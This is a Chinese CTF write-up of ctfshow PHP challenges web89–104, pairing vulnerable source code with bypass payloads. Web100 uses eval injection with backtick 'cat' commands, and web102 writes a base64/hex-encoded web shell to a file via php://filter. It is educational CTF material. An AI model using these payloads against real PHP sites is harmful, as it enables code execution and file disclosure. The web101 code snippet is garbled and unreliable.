目录
web89 preg_match函数 、数组
web90 intval()函数、强比较
web91 正则修饰符
web92 intval()函数、弱比较
web93 八进制、小数点
web94 strpos() 函数、小数点
web95 小数点
web96 highlight_file() 下的目录路径
web97 数组
web98 三目运算符
web99 in_array函数
web100 优先级
web101 反射类
web102 call_user_func;file_put_contents
web103
web104 sha1
web89 preg_match函数 、数组
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
intval() 函数用于获取变量的整数值。
intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。
PHP 4, PHP 5, PHP 7
但是 preg_match函数无法处理数组,所以构建一个数组,num[ ]=后面可以随便填一些数字也可以不填,就可以直接出来。
web90 intval()函数、强比较
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){ 强类型判断 不仅判断值,还会判断类型
die("no no no!");
}
if(intval($num,0)===4476){ //从num的第一个位置开始转换成整形数据
echo $flag;
}else{
echo intval($num,0);
}
}
intval函数取的是我们所输入内容开头的整数,当我们输入的num的值为123a的时候,经过intval函数的转化,就变成了123
所以第一种方法,让num的值等于4476a
再来看一下intval的语法:
int intval ( mixed $var [, int $base = 10 ] )
参数说明:
$var:要转换成 integer 的数量值。
$base:转化所使用的进制。
如果 base 是 0,通过检测 var 的格式来决定使用的进制:
如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,
如果字符串以 "0" 开始,使用 8 进制(octal);否则,
将使用 10 进制 (decimal)。
4476的16进制:0x117c
4476的8进制:010574
第二种方法:
num=010574或者num=0x117c
web91 正则修饰符
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){ //以php开头并且以php结尾,多行匹配,i表示不区分大小写
if(preg_match('/^php$/i', $a)){ //单行匹配以php开头,同时也以php结尾
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
正则修饰符:
i:不区分大小写,这里就是将匹配的目标设置为不区分大小写,即php和PHP没有区别
m:表示多行匹配
使用边界字符 ^ 和 $ 匹配每一行的开头和结尾,记住是多行,而不是整个字符串的开头和结尾。所有行只要有一行匹配到了就返回1
^:匹配输入字符串的开始位置。$:匹配输入字符串的结束位置。
在默认的情况下,一个字符串无论是否换行只有一个开始^和结束$。如果增加了多行匹配的话(也就是说加上了m),那么每行都有一个开始^和结束$。
payload:?num=换行+php(%0aphp),所以经过第一个正则匹配的时候,由于是多行匹配,我们的payload中的第二行就是以php开始以php结束的。经过第二个正则匹配的时候,因为payload是%0aphp,便不符合以php开始以php结束。执行else。
web92 intval()函数、弱比较
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
与90关类似
把十进制转化为十六进制与八进制即可
num=010574或者num=0x117c
web93 八进制、小数点
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
过滤了字母,所以可以用8进制或者小数点
/?num=010574
或
/?num=4476.1 //传入小数会直接取整从而实现绕过
web94 strpos() 函数、小数点
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
strpos() 函数
查找字符串在另一字符串中第一次出现的位置(区分大小写)。
返回值: 返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。注释: 字符串位置从 0 开始,不是从 1 开始。
所以strpos函数的意思就是查找0在$num中的位置是否是0(此处就是过滤了八进制的方法),只能使用小数的方法去绕过。且小数位还要存在一个0,假设我们的payload为4476.3,那么在经过strpos函数的时候,没有找到0,那么就会返回FALSE,在经过前面的!,就变成了TRUE。所以我们需要在小数的某一个位置带上0,绕过strpos函数。
payload:?num=4476.0
web95 小数点
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
增加了对点的过滤,同时需要满足:
$num的值不能是4476
不能含有大小写字母
num中必须包含着0,但是开头不能是0
可以使用换行或者空格或者+号,再加上八进制来绕过。
payload:
?num= 010574 //注意有空格
?num=%20010574
?num=%0a010574
?num=+010574
?num=%09010574
?num=%2b010574
+的url编码是%2b
空格的编码是%20
web96 highlight_file() 下的目录路径
highlight_file(__FILE__);
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
先随便传个参数,看到文件的路径
构造payload:
/?u=/var/www/html/flag.php 绝对路径
/?u=./flag.php 相对路径
/?u=php://filter/resource=flag.php php伪协议
php://filter
官方:php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。
php://filter参数:
resource=<要过滤的数据流> : 这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表> :该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的筛选列表> : 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
<;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。
之前写过有关php://filter的学习笔记
php://filter_php://filter/_木…的博客-CSDN博客
web97 数组
md5弱类型比较可以直接数组绕过,其结果都会转换为null
a[]=1&b[]=2
web98 三目运算符
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
&是引用符号,意思是:不同的名字访问同一个变量内容。php的引用是在变量或者函数、对象等前面加上&符号,PHP 的引用允许你用两个变量来指向同一个内容
$_GET?$_GET=&$_POST:'flag';意思:如果有GET传参的话,那么就将$_POST传入的参数赋值给$_GET变量,换句话说就是POST传入的参数和GET传入的参数是相同的。之后我们就可以通过POST来覆盖掉GET的值。
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__)意思:如果有通过GET方法传参'HTTP_FLAG=flag',就highlight_file($flag)。否则highlight_file(__FILE__)
web99 in_array函数
highlight_file(__FILE__);
$allow = array(); //创建一个空数组
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i)); //往$allow 末尾追加一个随机数
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){ //搜索
file_put_contents($_GET['n'], $_POST['content']); //把content的数据写入到n中
}
array_push函数:用于将一个或多个元素插入/推入数组
rand()函数:随机生成数组rand(min,max)
file_put_contents() 函数:把一个字符串写入文件中。
该函数访问文件时,遵循以下规则:
- 如果设置了 FILE_USE_INCLUDE_PATH,那么将检查 *filename* 副本的内置路径
- 如果文件不存在,将创建一个文件
- 打开文件
- 如果设置了 LOCK_EX,那么将锁定文件
- 如果设置了 FILE_APPEND,那么将移至文件末尾。否则,将会清除文件的内容
- 向文件中写入数据
- 关闭文件并对所有文件解锁
如果成功,该函数将返回写入文件中的字符数。如果失败,则返回 False。
访问1.php
发现包含flag的文件是flag36d.php,读取这个文件
web100 优先级
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); //因为赋值符号的优先级要高于`and`和`or`,所以v0的值只与is_numeric($v1)有关,也就是只要v1为数字即可。
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
} //几乎没有过滤,而且对于v3不仅没有过滤,还要求你有斜杠和分号,就当是提示了吧。直接构造语句执行
}
}
is_numeric ——检测变量是否为数字或数字字符串 ,为数字或字符串时返回为真。
因为 &&与||的优先级是高于and与or的
=的优先级高于and与or,所有 v 1为数字即可让,即可让 v1为数字即可让v0为True
构造出:var_dump($ctfshow);
payload:
?v1=1&v2=var_dump($ctfshow)/*&v3=*/; //利用注释符号/**/
也可以利用?>和<?=
?v1=1&v2=&v3=?><?=`cat ctfshow.php`; //反引号执行命令
web101 反射类
反射类可以说成是类的一个映射,可以利用反射类来代替有关类的应用的任何语句
其属性为类的一个名称,这道题目里面类的名称为ctfshow
PHP Reflection API是PHP5才有的新功能,它是用来导出或提取出关于类、方法、属性、参数等的详细信息,包括注释。
$class = new ReflectionClass(‘ctfshow’); // 建立ctfshow这个类的反射类
$instance = class −> newInstanceArgs(class->newInstanceArgs( class−>newInstanceArgs(args); // 相当于实例化ctfshow类
payload:?v1=1&v2=print new ReflectionClass&v3=;
外包ctfshow为ctfshow{02ac0609-3e71-4d4a-b38a-4d4910d05c0}
把0x2d换成~
会发现少一位了然后就抓包爆破最后一位
web102 call_user_func;file_put_contents
<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}
?>
回调函数:call_user_func(callback,parameter )
PHP函数详解:call_user_func()使用方法_call_user_func php_风雅的远行者的博客-CSDN博客
第一个参数 callback 是被调用的回调函数(一般为闭包函数),其余参数是回调函数的参数。
$v1:这里使用hex2bin()作为回调函数(16进制转化为字符)
$v2:这里要求全是数字。
$v3:使用PHP伪协议写入文件
v3=php://filter/write=convert.base64-decode/resource=1.php
思路:首先我们要将一部分代码写入文件中但有代码可知我们要从v2中得到相关的代码,v2又需要是数字,所以我们要保证v2是数字,然后str是代码,可以先将v3使用伪协议用base64写入,所以这个时候的str是base64代码,call_user_func()函数为一个过度,hex2bin函数可以转换十六进制。V1要传入的是就是hex2bin函数,之后调用所以,v2应该是先base64然后是十六进制
$a='<?=`cat *`;';
$b=base64_encode($a); // PD89YGNhdCAqYDs=
$c=bin2hex($b); //等号在base64中只是起到填充的作用,不影响具体的数据内容,直接用去掉,=和带着=的base64解码出来的内容是相同的。
输出 5044383959474e6864434171594473
(带e的话会被认为是科学计数法,可以通过is_numeric检测)
v2=5044383959474e6864434171594473
因为是从下标为2的位置取的字符串,所以要在前面加两个数字(随意)
v2=005044383959474e6864434171594473
payload:
?v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
v1=hex2bin (post)
传参:
访问1.php
查看源代码
web103
这题比较上一题就多了正则匹配,不能写入php,与上一题一样,这里就不赘述了
web104 sha1
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}
sha1与md5类似。都无法处理数组
get : v2[]=0
post: v1[]=1